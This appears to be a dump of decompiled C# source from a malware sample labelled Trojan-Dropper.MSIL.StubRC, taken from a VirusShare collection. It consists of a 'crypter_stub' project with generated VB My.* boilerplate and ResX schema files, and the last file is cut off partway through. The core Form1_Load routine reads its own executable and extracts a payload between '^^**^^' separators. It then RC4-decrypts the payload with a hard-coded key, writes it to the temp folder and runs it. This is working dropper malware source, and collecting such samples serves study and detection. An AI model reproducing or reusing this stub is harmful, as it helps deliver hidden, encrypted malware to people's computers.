using System.Reflection;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
[assembly: AssemblyCopyright("")]
|
||||
[assembly: AssemblyDescription("")]
|
||||
[assembly: AssemblyTitle("")]
|
||||
[assembly: ComVisible(false)]
|
||||
[assembly: AssemblyProduct("")]
|
||||
[assembly: AssemblyCompany("")]
|
||||
[assembly: Guid("f19390c3-8dde-4258-bc8c-df5bd38e75a6")]
|
||||
[assembly: AssemblyTrademark("")]
|
||||
[assembly: AssemblyFileVersion("0.0.0.0")]
|
||||
[assembly: AssemblyVersion("0.0.0.0")]
|
||||
+125
@@ -0,0 +1,125 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: crypter_stub.Form1
|
||||
// Assembly: stub, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: E49E58A8-AF94-42AF-BA26-1A5E1AADA9FB
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Dropper.MSIL.StubRC.acd-e92f8e7dcf39729147cb1dcec7e60fa9889f47e3913195ea2514507e75b493b9.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Drawing;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
using System.Threading;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace crypter_stub
|
||||
{
|
||||
[DesignerGenerated]
|
||||
public class Form1 : Form
|
||||
{
|
||||
private IContainer components;
|
||||
private string[] options;
|
||||
private string file2;
|
||||
private string file1;
|
||||
private const string FileSplit = "^^**^^";
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
public Form1()
|
||||
{
|
||||
this.Load += new EventHandler(this.Form1_Load);
|
||||
this.InitializeComponent();
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (!disposing || this.components == null)
|
||||
return;
|
||||
this.components.Dispose();
|
||||
}
|
||||
finally
|
||||
{
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerStepThrough]
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.SuspendLayout();
|
||||
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(284, 264);
|
||||
this.Name = nameof (Form1);
|
||||
this.Text = nameof (Form1);
|
||||
this.ResumeLayout(false);
|
||||
}
|
||||
|
||||
private void Form1_Load(object sender, EventArgs e)
|
||||
{
|
||||
string tempPath = Path.GetTempPath();
|
||||
FileSystem.FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared);
|
||||
this.file2 = Strings.Space(checked ((int) FileSystem.LOF(1)));
|
||||
FileSystem.FileGet(1, ref this.file2);
|
||||
FileSystem.FileClose(1);
|
||||
this.options = Strings.Split(this.file2, "^^**^^");
|
||||
FileSystem.FileOpen(1, tempPath + this.options[2], OpenMode.Binary, OpenAccess.ReadWrite);
|
||||
this.file1 = Form1.rc4(this.options[1], "/\\");
|
||||
FileSystem.FilePut(1, this.file1, -1L, false);
|
||||
FileSystem.FileClose(1);
|
||||
Process.Start(tempPath + this.options[2]);
|
||||
this.Close();
|
||||
ProjectData.EndApp();
|
||||
}
|
||||
|
||||
public static string rc4(string message, string password)
|
||||
{
|
||||
int index1 = 0;
|
||||
int index2 = 0;
|
||||
StringBuilder stringBuilder = new StringBuilder();
|
||||
string empty = string.Empty;
|
||||
int[] numArray1 = new int[257];
|
||||
int[] numArray2 = new int[257];
|
||||
int length = password.Length;
|
||||
int location1 = 0;
|
||||
while (location1 <= (int) byte.MaxValue)
|
||||
{
|
||||
char String = password.Substring(location1 % length, 1).ToCharArray()[0];
|
||||
numArray2[location1] = Strings.Asc(String);
|
||||
numArray1[location1] = location1;
|
||||
Math.Max(Interlocked.Increment(ref location1), checked (location1 - 1));
|
||||
}
|
||||
int index3 = 0;
|
||||
int location2 = 0;
|
||||
while (location2 <= (int) byte.MaxValue)
|
||||
{
|
||||
index3 = checked (index3 + numArray1[location2] + numArray2[location2]) % 256;
|
||||
int num = numArray1[location2];
|
||||
numArray1[location2] = numArray1[index3];
|
||||
numArray1[index3] = num;
|
||||
Math.Max(Interlocked.Increment(ref location2), checked (location2 - 1));
|
||||
}
|
||||
location1 = 1;
|
||||
while (location1 <= message.Length)
|
||||
{
|
||||
index1 = checked (index1 + 1) % 256;
|
||||
index2 = checked (index2 + numArray1[index1]) % 256;
|
||||
int num1 = numArray1[index1];
|
||||
numArray1[index1] = numArray1[index2];
|
||||
numArray1[index2] = num1;
|
||||
int num2 = numArray1[checked (numArray1[index1] + numArray1[index2]) % 256];
|
||||
int CharCode = Strings.Asc(message.Substring(checked (location1 - 1), 1).ToCharArray()[0]) ^ num2;
|
||||
stringBuilder.Append(Strings.Chr(CharCode));
|
||||
Math.Max(Interlocked.Increment(ref location1), checked (location1 - 1));
|
||||
}
|
||||
string str = stringBuilder.ToString();
|
||||
stringBuilder.Length = 0;
|
||||
return str;
|
||||
}
|
||||
}
|
||||
}
|
||||
+120
@@ -0,0 +1,120 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<root>
|
||||
<!--
|
||||
Microsoft ResX Schema
|
||||
|
||||
Version 2.0
|
||||
|
||||
The primary goals of this format is to allow a simple XML format
|
||||
that is mostly human readable. The generation and parsing of the
|
||||
various data types are done through the TypeConverter classes
|
||||
associated with the data types.
|
||||
|
||||
Example:
|
||||
|
||||
... ado.net/XML headers & schema ...
|
||||
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||
<resheader name="version">2.0</resheader>
|
||||
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||
</data>
|
||||
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||
<comment>This is a comment</comment>
|
||||
</data>
|
||||
|
||||
There are any number of "resheader" rows that contain simple
|
||||
name/value pairs.
|
||||
|
||||
Each data row contains a name, and value. The row also contains a
|
||||
type or mimetype. Type corresponds to a .NET class that support
|
||||
text/value conversion through the TypeConverter architecture.
|
||||
Classes that don't support this are serialized and stored with the
|
||||
mimetype set.
|
||||
|
||||
The mimetype is used for serialized objects, and tells the
|
||||
ResXResourceReader how to depersist the object. This is currently not
|
||||
extensible. For a given mimetype the value must be set accordingly:
|
||||
|
||||
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||
that the ResXResourceWriter will generate, however the reader can
|
||||
read any of the formats listed below.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.binary.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.soap.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||
value : The object must be serialized into a byte array
|
||||
: using a System.ComponentModel.TypeConverter
|
||||
: and then encoded with base64 encoding.
|
||||
-->
|
||||
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
|
||||
<xsd:element name="root" msdata:IsDataSet="true">
|
||||
<xsd:complexType>
|
||||
<xsd:choice maxOccurs="unbounded">
|
||||
<xsd:element name="metadata">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" use="required" type="xsd:string" />
|
||||
<xsd:attribute name="type" type="xsd:string" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="assembly">
|
||||
<xsd:complexType>
|
||||
<xsd:attribute name="alias" type="xsd:string" />
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="data">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
|
||||
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="resheader">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:choice>
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:schema>
|
||||
<resheader name="resmimetype">
|
||||
<value>text/microsoft-resx</value>
|
||||
</resheader>
|
||||
<resheader name="version">
|
||||
<value>2.0</value>
|
||||
</resheader>
|
||||
<resheader name="reader">
|
||||
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<resheader name="writer">
|
||||
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
</root>
|
||||
+48
@@ -0,0 +1,48 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: crypter_stub.My.MyApplication
|
||||
// Assembly: stub, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: E49E58A8-AF94-42AF-BA26-1A5E1AADA9FB
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Dropper.MSIL.StubRC.acd-e92f8e7dcf39729147cb1dcec7e60fa9889f47e3913195ea2514507e75b493b9.exe
|
||||
|
||||
using Microsoft.VisualBasic.ApplicationServices;
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace crypter_stub.My
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
internal class MyApplication : WindowsFormsApplicationBase
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
[DebuggerHidden]
|
||||
[STAThread]
|
||||
internal static void Main(string[] Args)
|
||||
{
|
||||
try
|
||||
{
|
||||
Application.SetCompatibleTextRenderingDefault(WindowsFormsApplicationBase.UseCompatibleTextRendering);
|
||||
}
|
||||
finally
|
||||
{
|
||||
}
|
||||
MyProject.Application.Run(Args);
|
||||
}
|
||||
|
||||
[DebuggerStepThrough]
|
||||
public MyApplication()
|
||||
: base(AuthenticationMode.Windows)
|
||||
{
|
||||
this.IsSingleInstance = false;
|
||||
this.EnableVisualStyles = true;
|
||||
this.SaveMySettingsOnExit = true;
|
||||
this.ShutdownStyle = ShutdownMode.AfterMainFormCloses;
|
||||
}
|
||||
|
||||
[DebuggerStepThrough]
|
||||
protected override void OnCreateMainForm() => this.MainForm = (Form) MyProject.Forms.Form1;
|
||||
}
|
||||
}
|
||||
+24
@@ -0,0 +1,24 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: crypter_stub.My.MyComputer
|
||||
// Assembly: stub, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: E49E58A8-AF94-42AF-BA26-1A5E1AADA9FB
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Dropper.MSIL.StubRC.acd-e92f8e7dcf39729147cb1dcec7e60fa9889f47e3913195ea2514507e75b493b9.exe
|
||||
|
||||
using Microsoft.VisualBasic.Devices;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
|
||||
namespace crypter_stub.My
|
||||
{
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal class MyComputer : Computer
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public MyComputer()
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
+212
@@ -0,0 +1,212 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: crypter_stub.My.MyProject
|
||||
// Assembly: stub, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: E49E58A8-AF94-42AF-BA26-1A5E1AADA9FB
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Dropper.MSIL.StubRC.acd-e92f8e7dcf39729147cb1dcec7e60fa9889f47e3913195ea2514507e75b493b9.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.ApplicationServices;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.Collections;
|
||||
using System.ComponentModel;
|
||||
using System.ComponentModel.Design;
|
||||
using System.Diagnostics;
|
||||
using System.Reflection;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace crypter_stub.My
|
||||
{
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
[StandardModule]
|
||||
[HideModuleName]
|
||||
internal sealed class MyProject
|
||||
{
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<MyComputer> m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider<MyComputer>();
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<MyApplication> m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider<MyApplication>();
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<User> m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider<User>();
|
||||
private static MyProject.ThreadSafeObjectProvider<MyProject.MyForms> m_MyFormsObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyForms>();
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices> m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices>();
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
static MyProject()
|
||||
{
|
||||
}
|
||||
|
||||
[HelpKeyword("My.Computer")]
|
||||
internal static MyComputer Computer
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.Application")]
|
||||
internal static MyApplication Application
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.User")]
|
||||
internal static User User
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.Forms")]
|
||||
internal static MyProject.MyForms Forms
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_MyFormsObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.WebServices")]
|
||||
internal static MyProject.MyWebServices WebServices
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal sealed class MyForms
|
||||
{
|
||||
public Form1 m_Form1;
|
||||
[ThreadStatic]
|
||||
private static Hashtable m_FormBeingCreated;
|
||||
|
||||
public Form1 Form1
|
||||
{
|
||||
[DebuggerNonUserCode] get
|
||||
{
|
||||
this.m_Form1 = MyProject.MyForms.Create__Instance__<Form1>(this.m_Form1);
|
||||
return this.m_Form1;
|
||||
}
|
||||
[DebuggerNonUserCode] set
|
||||
{
|
||||
if (value == this.m_Form1)
|
||||
return;
|
||||
if (value != null)
|
||||
throw new ArgumentException("Property can only be set to Nothing");
|
||||
this.Dispose__Instance__<Form1>(ref this.m_Form1);
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerHidden]
|
||||
private static T Create__Instance__<T>(T Instance) where T : Form, new()
|
||||
{
|
||||
if ((object) Instance != null && !Instance.IsDisposed)
|
||||
return Instance;
|
||||
if (MyProject.MyForms.m_FormBeingCreated != null)
|
||||
{
|
||||
if (MyProject.MyForms.m_FormBeingCreated.ContainsKey((object) typeof (T)))
|
||||
throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate"));
|
||||
}
|
||||
else
|
||||
MyProject.MyForms.m_FormBeingCreated = new Hashtable();
|
||||
MyProject.MyForms.m_FormBeingCreated.Add((object) typeof (T), (object) null);
|
||||
try
|
||||
{
|
||||
return new T();
|
||||
}
|
||||
catch (TargetInvocationException ex) when (
|
||||
{
|
||||
// ISSUE: unable to correctly present filter
|
||||
ProjectData.SetProjectError((Exception) ex);
|
||||
if (ex.InnerException != null)
|
||||
{
|
||||
SuccessfulFiltering;
|
||||
}
|
||||
else
|
||||
throw;
|
||||
}
|
||||
)
|
||||
{
|
||||
throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", ex.InnerException.Message), ex.InnerException);
|
||||
}
|
||||
finally
|
||||
{
|
||||
MyProject.MyForms.m_FormBeingCreated.Remove((object) typeof (T));
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerHidden]
|
||||
private void Dispose__Instance__<T>(ref T instance) where T : Form
|
||||
{
|
||||
instance.Dispose();
|
||||
instance = default (T);
|
||||
}
|
||||
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public MyForms()
|
||||
{
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override int GetHashCode() => base.GetHashCode();
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal new System.Type GetType() => typeof (MyProject.MyForms);
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override string ToString() => base.ToString();
|
||||
}
|
||||
|
||||
[MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal sealed class MyWebServices
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
|
||||
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override int GetHashCode() => base.GetHashCode();
|
||||
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal new System.Type GetType() => typeof (MyProject.MyWebServices);
|
||||
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override string ToString() => base.ToString();
|
||||
|
||||
[DebuggerHidden]
|
||||
private static T Create__Instance__<T>(T instance) where T : new() => (object) instance == null ? new T() : instance;
|
||||
|
||||
[DebuggerHidden]
|
||||
private void Dispose__Instance__<T>(ref T instance) => instance = default (T);
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public MyWebServices()
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[ComVisible(false)]
|
||||
internal sealed class ThreadSafeObjectProvider<T> where T : new()
|
||||
{
|
||||
internal T GetInstance
|
||||
{
|
||||
[DebuggerHidden] get
|
||||
{
|
||||
if ((object) MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue == null)
|
||||
MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue = new T();
|
||||
return MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue;
|
||||
}
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public ThreadSafeObjectProvider()
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+73
@@ -0,0 +1,73 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: crypter_stub.My.MySettings
|
||||
// Assembly: stub, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: E49E58A8-AF94-42AF-BA26-1A5E1AADA9FB
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Dropper.MSIL.StubRC.acd-e92f8e7dcf39729147cb1dcec7e60fa9889f47e3913195ea2514507e75b493b9.exe
|
||||
|
||||
using Microsoft.VisualBasic.ApplicationServices;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Configuration;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Threading;
|
||||
|
||||
namespace crypter_stub.My
|
||||
{
|
||||
[CompilerGenerated]
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
[GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")]
|
||||
internal sealed class MySettings : ApplicationSettingsBase
|
||||
{
|
||||
private static MySettings defaultInstance = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings());
|
||||
private static bool addedHandler;
|
||||
private static object addedHandlerLockObject = RuntimeHelpers.GetObjectValue(new object());
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
public MySettings()
|
||||
{
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
[DebuggerNonUserCode]
|
||||
private static void AutoSaveSettings(object sender, EventArgs e)
|
||||
{
|
||||
if (!MyProject.Application.SaveMySettingsOnExit)
|
||||
return;
|
||||
MySettingsProperty.Settings.Save();
|
||||
}
|
||||
|
||||
public static MySettings Default
|
||||
{
|
||||
get
|
||||
{
|
||||
if (!MySettings.addedHandler)
|
||||
{
|
||||
object handlerLockObject = MySettings.addedHandlerLockObject;
|
||||
ObjectFlowControl.CheckForSyncLockOnValueType(handlerLockObject);
|
||||
Monitor.Enter(handlerLockObject);
|
||||
try
|
||||
{
|
||||
if (!MySettings.addedHandler)
|
||||
{
|
||||
MyProject.Application.Shutdown += (ShutdownEventHandler) ((sender, e) =>
|
||||
{
|
||||
if (!MyProject.Application.SaveMySettingsOnExit)
|
||||
return;
|
||||
MySettingsProperty.Settings.Save();
|
||||
});
|
||||
MySettings.addedHandler = true;
|
||||
}
|
||||
}
|
||||
finally
|
||||
{
|
||||
Monitor.Exit(handlerLockObject);
|
||||
}
|
||||
}
|
||||
return MySettings.defaultInstance;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+24
@@ -0,0 +1,24 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: crypter_stub.My.MySettingsProperty
|
||||
// Assembly: stub, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: E49E58A8-AF94-42AF-BA26-1A5E1AADA9FB
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Dropper.MSIL.StubRC.acd-e92f8e7dcf39729147cb1dcec7e60fa9889f47e3913195ea2514507e75b493b9.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System.ComponentModel.Design;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace crypter_stub.My
|
||||
{
|
||||
[HideModuleName]
|
||||
[DebuggerNonUserCode]
|
||||
[StandardModule]
|
||||
[CompilerGenerated]
|
||||
internal sealed class MySettingsProperty
|
||||
{
|
||||
[HelpKeyword("My.Settings")]
|
||||
internal static MySettings Settings => MySettings.Default;
|
||||
}
|
||||
}
|
||||
+46
@@ -0,0 +1,46 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: crypter_stub.My.Resources.Resources
|
||||
// Assembly: stub, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: E49E58A8-AF94-42AF-BA26-1A5E1AADA9FB
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Dropper.MSIL.StubRC.acd-e92f8e7dcf39729147cb1dcec7e60fa9889f47e3913195ea2514507e75b493b9.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Globalization;
|
||||
using System.Resources;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace crypter_stub.My.Resources
|
||||
{
|
||||
[DebuggerNonUserCode]
|
||||
[StandardModule]
|
||||
[HideModuleName]
|
||||
[CompilerGenerated]
|
||||
[GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")]
|
||||
internal sealed class Resources
|
||||
{
|
||||
private static ResourceManager resourceMan;
|
||||
private static CultureInfo resourceCulture;
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
internal static ResourceManager ResourceManager
|
||||
{
|
||||
get
|
||||
{
|
||||
if (object.ReferenceEquals((object) crypter_stub.My.Resources.Resources.resourceMan, (object) null))
|
||||
crypter_stub.My.Resources.Resources.resourceMan = new ResourceManager("crypter_stub.Resources", typeof (crypter_stub.My.Resources.Resources).Assembly);
|
||||
return crypter_stub.My.Resources.Resources.resourceMan;
|
||||
}
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
internal static CultureInfo Culture
|
||||
{
|
||||
get => crypter_stub.My.Resources.Resources.resourceCulture;
|
||||
set => crypter_stub.My.Resources.Resources.resourceCulture = value;
|
||||
}
|
||||
}
|
||||
}
|
||||
+120
@@ -0,0 +1,120 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<root>
|
||||
<!--
|
||||
Microsoft ResX Schema
|
||||
|
||||
Version 2.0
|
||||
|
||||
The primary goals of this format is to allow a simple XML format
|
||||
that is mostly human readable. The generation and parsing of the
|
||||
various data types are done through the TypeConverter classes
|
||||
associated with the data types.
|
||||
|
||||
Example:
|
||||
|
||||
... ado.net/XML headers & schema ...
|
||||
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||
<resheader name="version">2.0</resheader>
|
||||
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||
</data>
|
||||
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||
<comment>This is a comment</comment>
|
||||
</data>
|
||||
|
||||
There are any number of "resheader" rows that contain simple
|
||||
name/value pairs.
|
||||
|
||||
Each data row contains a name, and value. The row also contains a
|
||||
type or mimetype. Type corresponds to a .NET class that support
|
||||
text/value conversion through the TypeConverter architecture.
|
||||
Classes that don't support this are serialized and stored with the
|
||||
mimetype set.
|
||||
|
||||
The mimetype is used for serialized objects, and tells the
|
||||
ResXResourceReader how to depersist the object. This is currently not
|
||||
extensible. For a given mimetype the value must be set accordingly:
|
||||
|
||||
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||
that the ResXResourceWriter will generate, however the reader can
|
||||
read any of the formats listed below.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.binary.base64
|
||||
value : The object must be serialized with
|
||||
